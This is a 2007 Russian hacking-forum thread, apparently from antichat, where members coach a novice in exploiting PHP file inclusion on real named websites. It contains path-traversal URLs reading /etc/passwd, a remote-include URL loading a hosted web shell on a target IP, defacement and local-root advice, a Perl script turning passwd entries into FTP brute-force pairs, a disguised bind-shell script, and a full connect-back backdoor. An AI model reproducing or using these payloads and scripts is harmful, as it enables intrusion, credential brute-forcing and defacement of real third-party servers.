PDA

Просмотр полной версии : Сканер Php Inc , Inj


Xszz
24.04.2007, 21:39
Есть ли такое чудо , если да - посоветуйте .

Talisman
24.04.2007, 21:47
смотри, инъекции передаются в параметре, так? (я про большинство случаев). т.е. мы должны найти параметры, передаваемые скрипту, подставлять в них гадости.
Для сканера самое сложное найти параметры (ИМХО) Хотя трин в своем сканере это с легостью сделал) да и гуглом тоже никто не запрещает воспользоваться)
т.е. получили лист с переменными и ссылками на скрипты. спрашивается, зачем сканер? быстрее руками проверить :)) только возникает одно но! ручками мы будем слать данные гетом, что палевно в логах... а вот другими прогами или сканером можно отправлять данные постом, что уже есть гуд. а написать такой сканер особого труда не составляет (писал когда-то :)) ).
Возникает еще 1 трудность - как понять, что пага уязвима? ну.. сканить структуру, или искать текст, который должен вывести инклуд :) но глазами все же точнее.
Ну и наконец, накой тебе просто так искать пшп инклуды? ради кайфа? тогда напиши свой сканер и не парься) хотя готовые экземпляры видел... названия не помню(забыл специально ;) ) :)

Xszz
24.04.2007, 21:53
Хм , спасибо за ответ .
Может ещё что - то посоветуете ?

Xszz
24.04.2007, 22:11
Talisman
Расскажи конкретнее , на что надо обращать внимание при поиске ПХП Инъекций ,
как вообще происходит поиск , я думаю это будет интересно не только мне .
На примере - как ищешь ты :)
Спасибо.

freddi
24.04.2007, 22:17
http://forum.antichat.ru/thread6296.html

Xszz
24.04.2007, 22:42
Спасибо, интерсная статейка .
Странно как я её не заметил :) .
Жду подобных статей .
Спасибо :)

guest3297
24.04.2007, 23:01
XSpider
Acunectix

.Slip
24.04.2007, 23:06
']XSpider
Acunectix
Последние две-три страницы темы в дальнейшем будут содержать вопросы вида "Где найти кряк для иксспайдера?"

Talisman
24.04.2007, 23:18
Как искать их? ну.. чтобы искать, нужно хотябы иметь базу представлений, как они чаще всего выглядят, для этого читаем эту темку:
http://forum.antichat.ru/thread38443.html
и играемся с линками как я приведу пример ниже))
Итак, разбирем такую вот инъекцию - она выводит список пользователей в никсе:
http://quake.olympus.ru/q3/playerstat.php?config=../../../../../../../etc/passwd
конечно, если бы серв был под виндой, ничего бы не вышло, но как правило сервера под никсом) поэтому имеет смысла подставлять в параметры строчки вида: ../../../../../../../etc/passwd, ../../../../../../../etc/master.passwd - если увидем, то это значит, что веб-сервер запущен из под рута.
итак, что же означают эти ../ - это спуск на директорию ниже. ниже корня не спустимся, поэтому их количество не повредит :)
итак. инъекция есть. но это инъекция пшп, или просто файла? как проверить? давайте попробуем проинклудить сам файл) посмотрим, что выйдет :))
т.к. уровень открытия папки мы не знаем... поэтому перебираем кол-во ../ имеем: http://www.rupivo.ru/papers.php?file=../....//../papers.php
какой то бред на странице, так? это плохой знак :( смотрим в сурс паги, находим: <?
if (isset ($file))
{
$content = file_get_contents('papers/'.$file);
echo($content);
}
else
{
$directory = 'papers';
$dir = opendir($directory);
while ($file = readdir($dir))
{
if (strpos($file, '.html'))
echo('<li><a href="papers.php?file='.rawurlencode($file).'" class="link1">'.str_replace('.html', '', $file).'</a><br>');
}
closedir($dir);
}
?>
вот он наш скрипт, нам вывелся его исходный код, а не результат работы, что с одной стороны плюс, а с другой минус. плюс заключается в том, что есть возможность просмотреть почти любые файлы веб-сервера (а при корявой настрояке - любые, а может даже и системные). Как правило читаем настройки форума) там пассы ну и т.д. и т.п.
а минус в том, что если не получится залить картинку со встроенным в хекс-редакторе шеллом, или вбить урл на вшенший шелл не получится, то мы попали - от инъекции почти никакого толка) а жаль.
ЗЫ щас в VBulletin приватная бага,связанная с загрузкой аватарок и исполнением их кода ))) эта бага - та же инъекция.
ЗЫ можт чето упустил) щас повспоминаю))))

Xszz
24.04.2007, 23:31
?config=
?file=
Т.Е. любые строки такого вида в адрессной строке и есть подключений другого файла ? Инклюды ?
Я имею ввиду должно быть обязательно ?file= или ?config= ?
или может быть даже ?sdflgkj=

Talisman
24.04.2007, 23:32
да, могут быть даже netuincluda)))

Xszz
24.04.2007, 23:57
Спасибо за помосЧ :)
+

Xszz
25.04.2007, 00:03
http://www.odessaonline.com.ua/go.php?dir=../etc/passwd
Вот вроде бы инклюд , но сервер на ВИндовсе ... что можно зделать ?

spyke
25.04.2007, 00:26
http://www.odessaonline.com.ua/go.php?dir=../etc/passwd
Вот вроде бы инклюд , но сервер на ВИндовсе ... что можно зделать ?

а помоему не виндовс

Talisman
25.04.2007, 00:37
судя по ошибке:
Warning: file(c/../etc/passwd/2ndmenu) [function.file]: failed to open stream: No such file or directory in /home/odessaon/public_html/_parse/req/nav.class on line 235 - сервер явно не виндовс :) т.к. дира вида: /home/odessao....

Xszz
25.04.2007, 13:49
это может быть смонтирован виртуальный диск , по типу того , что монтируют готовые связки Типа Денвер

lol2006
25.04.2007, 13:58
это может быть смонтирован виртуальный диск , по типу того , что монтируют готовые связки Типа Денвер


Да но это cмущает etc/passwd/

Xszz
25.04.2007, 23:38
Так дело в том , что не открывается этот файл ..
Пройди по ссылке попробуй

n1†R0x
25.04.2007, 23:45
Так дело в том , что не открывается этот файл ..
Пройди по ссылке попробуй
и не должен.
обрати внимание на выделенные жирным фрагменты:

Warning: file(c/../etc/passwd/2ndmenu)

Xszz
26.04.2007, 00:05
да , да .
Я видел . Шелу на удалённом сервере можно поменять имя на 2ndmenu.

Вот меня ещё интересует вопрос :
Я нашел удалённый инклуд , подключил шелл http://newxs.narod.ru/shell.txt
Но , ничего не могу с помощью него сделать.
Фалы не изменяются , не закачиваются , папки не создаются.
Как можно зделать дэфэйс ?
Спасибо.

n1†R0x
26.04.2007, 00:22
да , да .
Я видел . Шелу на удалённом сервере можно поменять имя на 2ndmenu.
ну закачаешь ты файл 2ndmenu без расширения, и что дальше? :)
тем более, там в начале "c/".

Вот меня ещё интересует вопрос :
Я нашел удалённый инклуд , подключил шелл http://newxs.narod.ru/shell.txt
Но , ничего не могу с помощью него сделать.
Фалы не изменяются , не закачиваются , папки не создаются.
Как можно зделать дэфэйс ?
Спасибо.
линк в студию

Spyder
26.04.2007, 00:29
chmod 777 /home/site/index.php
ну закачаешь ты файл 2ndmenu без расширения, и что дальше?
он всё равно выполнится как php код = )
Другое дело что там с/ в начале

Xszz
26.04.2007, 01:30
chmod 777 /home/site/index.php

права не меняются я пользуюсь r57shell может есть какой ещё ?

Xszz
26.04.2007, 01:36
http://212.41.0.34/index.php?fl=http://newxs.narod.ru/shell.txt&part=main

Линк взят из раздела "PHP Иньекции"

Spyder
26.04.2007, 10:10
выполняешь uname -a
Смотришь чё тебе выдало, например Linux 2.6.14
идёшь на милворм или в гугл
пишешь Linux 2.6.14 local root exploit
если есть плоенты для этой версии, качаешь его на сервер в папку /tmp и следуешь инструкциям написанным в плоенте =\
Получаешь рута, теперь ты хэкер и король. Делаешь дефейс я пляшешь вокруг него с бубном =\

Xszz
26.04.2007, 11:24
Понял !
Тренируюсь дальше

FreeBSD ns.sibstu.kts.ru 6.2-PRERELEASE FreeBSD 6.2-PRERELEASE #1: Tue Oct 31 18:11:44 KRAT 2006 serg@ns.sibstu.kts.

Xszz
26.04.2007, 11:39
Вот у меня возник ещё один вопрос , если я получаю содержимое файла etc/passwd что мне это даёт ?

Spyder
26.04.2007, 11:40
FreeBSD 6.2
чё то мне подсказывает что превад плоентов нету =\

Xszz
26.04.2007, 12:19
del

Вот смотрите , кто - то залил шелл свой на сервер , а у меня не получаетсья , как он зделал , если кто знает , расскажите .
И его шелл может все редактировать , создавать , удалять , короче гворя , полный доступ.
Спасибо

zl0ba
26.04.2007, 16:29
Вот у меня возник ещё один вопрос , если я получаю содержимое файла etc/passwd что мне это даёт ?

Можно пропарсить и побрутить FTP на login:login вдруг повезёт.

Вот парсер:
#!/usr/bin/perl
$in=$ARGV[0];
$out=$ARGV[1]; ## определим параметры скрипта
exit print "Use $0 $in $out\n" unless ($out);
open(IN, "$in");
open(OUT, ">out");
while(<IN>){
chomp;
if (~/sh$/){ ## запишем только валидные аккаунты
($u,@udef)=split ":";
print OUT "$u:$u\n"; ## В виде пары login:login
}
}
close(IN);
close(OUT);

XENON4IK
26.04.2007, 16:53
У меня вот тут возник вопрос...
Есть у меня шелл... залил под фрюху туда эксплойт... А как его запутить то? Сорри за ламерский вопрос=))

zl0ba
26.04.2007, 16:59
У меня вот тут возник вопрос...
Есть у меня шелл... залил под фрюху туда эксплойт... А как его запутить то? Сорри за ламерский вопрос=))
Надо пробиндить машину, законектиться с помощью
netcat и скомпилить сплойт.

bind.pl:

#!/usr/bin/perl

$port = 32767;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
accept(X, S);
unless(fork)
{
open STDIN, "<&X";
open STDOUT, ">&X";
open STDERR, ">&X";
close X;
exec("/bin/sh");
}
close X;
}
С помощью шелла выполняем команду : perl bind.pl в дире /tmp

конектимся через netcat : 111.111.111.111 3432

XENON4IK
26.04.2007, 17:04
Спасибо ща буду пробывать.

XENON4IK
26.04.2007, 17:22
Хммм почему то не биндиться машина... или забиндилась. Можно какнить проверить? а то он уже пол часа грузится...
Во ещё там нашёл такой файлик=)
bd.pl

#!/usr/bin/perl
use IO::Socket;
#cONNECT BACKDOOR EDITED BY XORON
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== WElcome Obormot ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell is redy ==--
#
# Resolving HostName
# Connecting... 127.0.0.1
# Spawning Shell
# Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor Shell EDITED BY XORON TURKЭSH HACKER ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(xoron) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell EDITED BY XORON TURKЭSH HACKER ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print " Resolving HostName\n";
print " Connecting... $ARGV[0] \n";
print " Spawning Shell \n";
print " Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor Shell EDITED BY XORON TURKЭSH HACKER ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF

Xszz
26.04.2007, 18:43
Немного непонял про Парсер , как им пользоваться .
какие параметры задавать ?
Спасибо.

zl0ba
27.04.2007, 08:13
2XENON4IK
Можно проверить командой ps в веб шелле, если конечно она доступна.
Мне кажеться сдесь был хекер, файл bd.pl это бекдор.
2Xszz
perl parser.pl ftppass.txt out

ftppass.txt - есть тот файл с etc/passwd
out - отпарсированый файл с login:login
--
также есть траблы с актив перлом под винду , почему то иногда не пашет. Без проблем можно отпарсировать в любой *nix или в Cygwin.

n1†R0x
27.04.2007, 08:26
Тема превратилась в "задай вопрос - получи ответ"...

XENON4IK
27.04.2007, 11:41
Не я понял что там был кул хацкер из турции=))) Проблему решил. подконнектился через неткэт. Пытался откомпилить сплоит.. но чёто не так или просто сплойт не пашет..
компилил так:

gcc -o3 -static -(чёто)-(чёто)-pointer kernel.c -o kernel

Причём между -(чёто)-(чёто)-pointer нету пробелов...
Это видел в каком то видео... сорри что не помню что там было точно написано. Но не суть. Вроде он компилится и создаёт этот файл kernel.
Я его запускаю он мне типо пишет создал папку /tmp/sh а реально он её не создаёт...
Это в чём проблема в компиляции или просто ядро пропатчено?
Ядро вроде уязвимое по версии...
Домой прийду отпишусь поподробнее...

zl0ba
27.04.2007, 15:57
Ядро вроде уязвимое по версии...
Домой прийду отпишусь поподробнее...

Если ядро патченое, сдесь кроме приват сплоинтов не чё не поможет =\, смотрим версии уязвимых демонов.